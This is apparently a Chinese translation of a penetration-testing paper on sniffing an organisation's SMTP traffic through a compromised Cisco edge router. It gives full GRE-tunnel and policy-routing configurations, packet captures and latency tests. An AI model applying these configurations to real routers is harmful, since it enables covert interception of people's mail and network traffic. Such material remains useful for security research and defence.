精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

利用被入侵的路由器獲取網絡流量

安全 黑客攻防
現在,對終端路由器進行流量劫持的方法很多,如DNS劫持等等,但是根據不同的滲透場景,如對電信級別的組織進行大范圍攻擊時,利用被入侵的路由器進行流量重定向則會顯得更加高效。這種類似“核攻擊”的攻擊方法會導致X州市數字電視一樣的后果。

0x00 前言

現在,對終端路由器進行流量劫持的方法很多,如DNS劫持等等,但是根據不同的滲透場景,如對電信級別的組織進行大范圍攻擊時,利用被入侵的路由器進行流量重定向則會顯得更加高效。這種類似“核攻擊”的攻擊方法會導致X州市數字電視一樣的后果。

原文地址:https://dl.packetstormsecurity.net/papers/routing/GRE_sniffing.doc

0x01 介紹

這篇文檔詳細描述了在最近試驗中,使用邊界路由器作為工具來捕獲網絡流量的方法 、步驟以及結果。

在滲透測試場景中,人們經常會入侵一個組織的邊緣路由器。這些路由器往往部署在公司防火墻外,而且缺乏保護。在某些情況下,被入侵的路由器可能會成為進一步攻擊目標網絡的一個跳板,但是真正的價值用被掌握的路由器用來嗅探組織內部進出的網絡流量。

這種使用GRE隧道和策略路由的技術最早在Phrack由Gauis發表的第56篇文章“Things to do in Cisco Land when you are dead” (http://www.phrack.com/show.php?p=56&a=10),Gauis的方法使用tcpdump修改的proof-of-concept(poc)程序,來在被嗅探的路由器和一臺Linux之間建立一條GRE隧道。

而Joshua Wright在他為SANS GCIH的實用鑒定課程中寫的的論文:“Red Team Assessment of Parliament Hill Firewall”中使用了另一種方法,Joshua使用了另外一臺思科路由器終結了GRE隧道,但他只設法捕捉到一個方向的流量:從該組織出站方向的流量。

在本次這個試驗中擴展了Joshua的方法,同樣使用另外一臺思科路由器來終結GRE隧道,但是從組織中透明地捕捉到了進出的流量。對這個技術進行擴展的主要因素是為了最少進行軟件定制以及組件的需要。

特別感謝Darren Pedley(Darren.Pedley@alphawest6.com.au)對路由器配置的協助以及對整個實驗完整的檢查。

0x02 方法

所選擇的方法是,在目標路由器(“Target router”)和被黑客控制的中間路由器(“Attacker router”)之間建立GRE隧道。使用策略路由來把該組織中進出的流量通過GRE隧道重定向到中間路由器(Attacker router)中。流量在最終被目標路由器(Target router)傳送之前,就已經被黑客控制的中間路由器(Attacker router)處理過了。

本次測試了兩種場景。第一個場景,被捕獲的流量只是被中間路由器通 “反射”進了GRE隧道,如圖1。這種方法有一個好處就是在路由器上配置簡單,但是介紹以下出現的問題:

為了方便捕獲數據流量,必須嗅探中間路由器外端的端口(即中間路由器的tunnle隧道上的物理接口)。這種方法在非以太網絡媒介中會難以實現。

被捕獲的流量是通過GRE報文封裝的,就必須在執行IP解碼之前對流量進行解封裝。

 

 

圖1 – 場景1

在第二個處理場景中,中間路由器被配置為在回傳捕獲流量給目標路由器之前,先把流量發傳送給一臺Unix工作站,如圖2,這個腳本克服前面的兩個缺點:

對于中間路由器來說,可以使任意媒介的外部網絡。

流量轉發給Unix工作站時已經解封裝,則使用較少的處理過程就可以提取流量中有用的信息。

 

 

圖2 – 場景2#p#

0x03 步驟

圖3顯示了在本次試驗的網絡拓撲。

 

 

圖3 - 實驗測試拓撲

1、實驗設備

目標路由器(target router)使用雙以太網接口的Cisco 3600路由器,中間路由器(attacker router)使用雙以太網接口的Cisco 2600路由器。這個實驗同樣適用于任何IOS系統的思科路由器,可能適用于其他支持GRE隧道和策略路由的路由器。

郵件服務器是一臺裝有Linux的筆記本,網絡嗅探設備是一臺Solaris工作站,這些設備都是任意選擇的。

2、建立一條GRE隧道

第一步,在對路由器進行基礎的IP配置之后,就在目標路由器和中間路由器間建起GRE隧道,在實際環境使用這種方法時,目標路由器應必須首先已被入侵并可以遠程配置,入侵目標路由器的方法以已經超出了本文的討論范圍。

目標路由器配置:

Target#conf t
Target(config)#int tunnel0
Target(config-if)#ip address 192.168.5.1 255.255.255.0
Target(config-if)#tunnel source eth0/1
Target(config-if)#tunnel dest 192.168.1.2
Target(config-if)#tunnel mode gre ip
Target(config-if)#exit
Target(config)#exit
Target#

建立名稱為tunnel0的隧道接口,分配本地IP地址192.168.5.1(虛擬的IP地址),外部以太網接口定義為本地tunnel隧道的終點,同時定義中間路由器的外部IP地址為tunnel隧道對端的終點。在中間路由器上配置類似的命令。

中間路由器操作:

Attacker#conf t
Attacker(config)#int tunnel0
Attacker(config-if)#ip address 192.168.5.2 255.255.255.0
Attacker(config-if)#tunnel source eth0/1
Attacker(config-if)#tunnel dest 192.168.1.1
Attacker(config-if)#tunnel mode gre ip
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

到這一步,兩臺路由器間的GRE隧道已經建立了,不管這兩臺路由器間在互聯網間相隔多少跳路由,GRE隧道都只認為經過了一跳路由。

3、場景1中的策略路由配置

在場景1中(見圖1),我們在中間路由器tunnel0的接口上建立策略路由,并通過GRE隧道向目標路由器“反射”流量。

中間路由器操作:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map reflect
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map reflect
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

訪問控制列表100(acl100)匹配所有IP協議流量,route map策略抓取了所有匹配訪問控制列表100的流量,然后發往192.168.5.1,也就是目標路由器上終結GRE隧道的地址。這條route map策略在tunnel0接口上應用。

這樣配置的結果就是,所有通過tunnel0接口到達中間路由器的流量,隨后會通過tunnel接口(即tunnel隧道)返回給目標路由器。

4、場景1中的Unix工作站初始化

在場景1中,攻擊者的Unix工作站在外部署在中間路由器的外部接口中,在這個實例中,Unix工作站的IP地址可以配置或不配置,因為工作站只需要被動地捕獲網絡流量。

5、場景2中的策略路由配置

在第二個場景中,我們在中間路由器tunnel接口上和在與Unix工作站互聯的內網接口上建立了策略路由,來“反射”通過GRE隧道及Unix工作站內網接口傳來的流量。

中間路由器操作:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map send-traffic-in
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.3.2
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map send-traffic-in
Attacker(config-if)#exit
Attacker(config)#route-map send-traffic-out
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int eth0/0
Attacker(config-if)#ip policy route-map send-traffic-out
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

策略路由“send-traffic-in”被應用在tunnel0接口上,這條策略路由將從tunnel所有到達的流量轉發到Unix工作站的住IP地址的以太網接口上(192.168.3.2)。工作站通過缺省路由經將該流量轉發回中間路由器上(192.168.4.1)。

策略路由“send-traffic-out”被應用在中間路由器的內部以太網接口上(與Unix工作站互聯的接口),它將從Unix工作站返回的流量通過GRE隧道全部轉發回目標路由器。

6、場景2中的Unix工作站初始化

在場景2中的Unix工作站配置如下:

Primary IP address(主IP地址): 192.168.3.2

Secondary IP address(從IP地址): 192.168.4.2

從IP地址是在同一物理網絡接口上的虛擬地址。

Default route(缺省路由): 192.168.4.1

7、定義一個需要被捕獲的流量

接下來,在目標路由器上建立訪問控制列表(ACL)來抓取需被捕獲流量。

在目標路由器上操作:

Target#conf t
Target(config)#access-list 101 permit tcp any any eq 25
Target(config)#access-list 101 permit tcp any eq 25 any
Target(config)#exit
Target#

這條訪問控制列表匹配了所有SMTP協議(25/TCP)流量,定義規則來對進出的數據包進行匹配是非常有必要的,因為這條訪問控制列表將被應用在目標路由器的所有接口上。

8、在目標路由器上的策略路由

最后,我們在目標路由器上建立策略路由,用來將感興趣的流量通過GRE隧道發送。

在目標路由器上操作:

Target#conf t
Target(config)#route-map capture-traffic
Target(config-route-map)#match ip address 101
Target(config-route-map)#set ip next-hop 192.168.5.2
Target(config-route-map)#exit
Target(config)#int eth0
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#int eth1
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#exit
Target#

定義的這條策略路由(capture-traffic)匹配了訪問控制列表101(即所有SMTP流量),同時通過GRE隧道向中間路由器轉發這些流量,這條策略路由需被同時應用在這臺路由器對內、對外接口上。

到現在,所有進出目標路由器的SMTP流量將通過GRE隧道被重定向到中間路由器上,流量(返程流量)到達中間路由器是通過GRE隧道、中間是根據標準的路由協議進路由轉發由的。

目標路由器上最終配置請見附錄A,中間路由器在場景1和場景2中的配置可以分別在附錄B和C中找到。#p#

0x04 結果

在兩個場景中,SMPT連接通過GRE隧道轉移,成功地被UNIX工作站抓取。

場景1中的抓包驗證

以下抓包片段顯示了在場景1中,截取的SMTP會話建立過程(即三次握手)。

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
 2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
 3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
 4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
 5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
 6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
 7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
 8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
 9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799

第1條數據包顯示客戶端向郵件服務器發送TCP SYN包。

第2、3條數據包顯示這個SYN包從目標路由器發向了中間路由器,并返回到目標路由器。

在第3條數據包之后,這個SYN包就被傳送到了郵件服務器上了:這個包在抓包過程中沒有顯示。郵件服務服務器應答了一個SYN/ACK包:這個包在抓包過程中沒有顯示。

數據包4和5顯示了這個SYN/ACK包正在穿越GRE隧道。

數據包6顯示這個SYN/ACK包被返回到了郵件客戶端。

數據包7顯示從客戶端應答的ACK包(即三次握手過程中的最后一個數據包)發向郵件服務器。

數據包8和9顯示這個ACK包正在穿越GRE隧道。

在第9個數據包之后,這個ACK包就已經被傳送到了郵件服務器上,會話建立成功,隨后的SMTP連接繼續繼續建立。

更完整的抓包結果,以及第2條數據包詳細的協議解碼請見附錄D。

Scenario 2場景2的抓包驗證

以下抓包片段顯示了在場景2中,截取的SMTP會話建立過程(即三次握手)。

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712

數據包1和2顯示了客戶端發往郵件服務器的TCP SYN數據包,由于被捕獲的流量在去往Unix工作站時在同一接口上被路由了兩遍(即中間路由器路由一次,Unix工作站缺省路由一次),所以這條(同時所有)流量在抓包顯示被復制了二份。

數據包3和4顯示了郵件服務器發往客戶端的SYN/ACK數據包。

數據包5和6顯示了客戶端回復郵件服務器的ACK數據包(三次握手的最后一步)

更完整的抓包結果請見附錄E。

0x05 結論及討論

透明度

這種數據攔截的方法對于這個系統中的終端用戶是完全透明的(見下面的部分),標準的traceroute追蹤不能發現數據在GRE隧道重定向而帶來的額外路由跳數,因為traceroute的數據包并沒有被策略路由(即上文中提到的策略路由)所匹配。

有這種可能,但是比較困難,就是編寫一個基于TCP 協議,使用25號端口以及利用遞增TTL值的traceroute程序,去發現已經增加的額外路由跳數。

當然,通過檢查目標路由器的配置來發現(是否被攻擊)會更簡單。

延遲考慮

在通過中間路由器路由器捕獲重定向的流量會增加網絡延遲,這種延遲的增加可以表示為:

2n + m

n代表流量從目標路由器到中間路由器間所花費的時間,m代表中間路由器(以及Unix工作站)處理這條流量所帶來的時間延遲。

在實驗室場景中,發現m的值大約有10ms的延遲 - 詳見附錄F。

n的值顯得要更大一些,這種(流量重定向)技術應被限制在類似如SMTP, DNS域傳送等一類流量非嚴格時間敏感的場景中使用。

對流量進一步解碼

從被捕獲流量中提取有用數據的聯系就交給讀者了,在標準的Unix工具集中,例如strings以及od命令都可以方便地處理這些數據。

實用性

在現實情況下使用這種技術,應該注意中間路由器(以及在場景2中的Unix工作站)可能會導致單點通信故障,如果任何一臺設備出現故障,那么在3.7章節中的訪問控制列表所匹配的流量(即目標流量)將不能被正常轉發。

0x06 附錄

附錄A - 目標路由器完整配置(Target Router)

!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Target
!
no logging console
!
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.1 255.255.255.0
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.2
!
interface Ethernet0/0
 ip address 192.168.2.1 255.255.255.0
 ip policy route-map capture-traffic
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.1 255.255.255.0
 ip policy route-map capture-traffic
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 101 permit tcp any any eq smtp
access-list 101 permit tcp any eq smtp any
no cdp run
route-map capture-traffic permit 10
 match ip address 101
 set ip next-hop 192.168.5.2
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 login
!
end

附錄B -場景1中間路由器完整配置(Attack Router)

!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.2 255.255.255.0
 ip policy route-map reflect
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.1
!
interface Ethernet0/0
 ip address 192.168.3.1 255.255.255.0
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.2 255.255.255.0
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map reflect permit 10
 match ip address 100
 set ip next-hop 192.168.5.1
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 no login
!
end

附錄C -場景2中間路由器完整配置(Attack Router)

version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.2 255.255.255.0
 ip policy route-map send-traffic-in
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.1
!
interface Ethernet0/0
 ip address 192.168.4.1 255.255.255.0 secondary
 ip address 192.168.3.1 255.255.255.0
 ip policy route-map send-traffic-out
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.2 255.255.255.0
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map send-traffic-out permit 10
 match ip address 100
 set ip next-hop 192.168.5.1
!
route-map send-traffic-in permit 10
 match ip address 100
 set ip next-hop 192.168.3.2
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 no login
!
end

附錄D - 場景1中的流量抓包

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
10  40.09693  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826
11   0.00142  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800
12   0.00063  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 220 localhost.locald
13   0.13864  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
14   0.00185  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827
15   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801

82   2.18601  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 q
83   0.00211  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850
84   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824
85   0.03858  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851
86   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825
87   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
88   0.18110  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 u
89   0.00186  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852
90   0.00136  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826
91   0.00271  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853
92   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827
93   0.00059  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
94   0.05429  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 i
95   0.00191  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854
96   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828
97   0.00269  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855
98   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829
99   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
100   0.16402  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 t
101   0.00207  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856
102   0.00139  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830
103   0.00270  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857
104   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831
105   0.00052  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
106   0.22869  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
107   0.00197  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858
108   0.00137  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832
109   0.00304  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859
110   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833
111   0.00012  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860
112   0.00055  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
113   0.00093  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834
114   0.00058  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 221 2.0.0 localhost.
115   0.00067  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861
116   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835
117   0.00049  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
118   0.00025  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
119   0.00044  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
120   0.00172  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862
121   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836
122   0.00007  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863
123   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837
124   0.00255  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864
125   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838
126   0.00054  192.168.2.2 -> 192.168.1.3  SMTP R port=1617

對嗅探到的GRE數據包解碼如下:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 2 arrived at 12:38:37.06
ETHER:  Packet size = 86 bytes
ETHER:  Destination = 0:d0:ba:fe:30:e1,
ETHER:  Source      = 0:e0:1e:7e:a0:c2,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 72 bytes
IP:   Identification = 823
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 47 ()
IP:   Header checksum = 34fc
IP:   Source address = 192.168.1.1, 192.168.1.1
IP:   Destination address = 192.168.1.2, 192.168.1.2
IP:   No options
IP:

這個GRE數據包使用Hex方式解碼如下所示:

0000000 736e 6f6f 7000 0000 0000 0002 0000 0004
0000020 0000 0056 0000 0056 0000 0070 0000 0000
0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0
0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f
0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500
0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8
0000140 0202 0651 0019 99d0 26a4 0000 0000 7002
0000160 4000 f86a 0000 0204 0534 0101 0402 0000

附錄E - 場景2中的流量抓包

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
7   40.09285  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald
8   0.00016  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald
9   0.16606  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
10   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712

59   1.62586  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q
60   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q
61   0.04199  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
62   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
63   0.14919  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u
64   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u
65   0.00574  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
66   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
67   0.08556  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i
68   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i
69   0.00570  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
70   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
71   0.12386  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t
72   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t
73   0.00577  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
74   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
75   0.80846  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
76   0.00011  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
77   0.00613  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
78   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
79   0.00216  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost.
80   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost.
81   0.00220  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
82   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
83   0.00670  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
84   0.00008  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
85   0.00169  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
86   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
87   0.00645  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
88   0.00008  192.168.2.2 -> 192.168.1.3  SMTP R port=1712

附錄F - 延遲測試 測試了額外增加的流量處理時間的延遲測試,在實驗室中使用ICMP ping對互聯網上的客戶端機器進行測試。

在沒有重定向/抓包時…

C:\>ping 192.168.2.2       

Pinging 192.168.2.2 with 32 bytes of data:       

Reply from 192.168.2.2: bytes=32 time=10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254       

Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum =  10ms, Average =  2ms       

C:\>ping -l 1000 192.168.2.2       

Pinging 192.168.2.2 with 1000 bytes of data:       

Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254       

Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum =  0ms, Average =  0ms       

C:\>

在進行重定向/抓包時…

C:\>ping 192.168.2.2       

Pinging 192.168.2.2 with 32 bytes of data:       

Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250       

Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 10ms, Maximum =  10ms, Average =  10ms       

C:\>ping -l 1000 192.168.2.2       

Pinging 192.168.2.2 with 1000 bytes of data:       

Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250       

Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 20ms, Maximum =  31ms, Average =  22ms       

C:\>

責任編輯:藍雨淚 來源: 烏云知識庫
相關推薦

2015-10-10 09:31:41

2009-09-09 09:59:02

路由器升級管理

2015-06-02 13:54:59

2010-09-08 14:01:40

2011-12-08 13:08:54

高性能路由

2014-03-31 09:13:20

2016-10-07 22:54:03

流量監控ossim

2012-06-05 09:34:47

2009-12-18 11:02:14

2009-09-08 22:52:30

網絡流量管理

2010-08-18 09:58:57

網絡流量

2011-05-17 13:31:31

出口路由器路由

2011-04-06 10:57:14

監控MRTG

2011-04-01 09:18:03

2021-06-06 22:29:43

黑客網絡安全網絡攻擊

2012-11-29 09:59:02

網絡流量網絡安全

2013-12-27 09:55:56

2011-03-31 09:47:21

CACTI流量監控

2019-08-19 00:14:12

網絡測試帶寬網絡流量

2009-08-03 16:27:17

點贊
收藏

51CTO技術棧公眾號

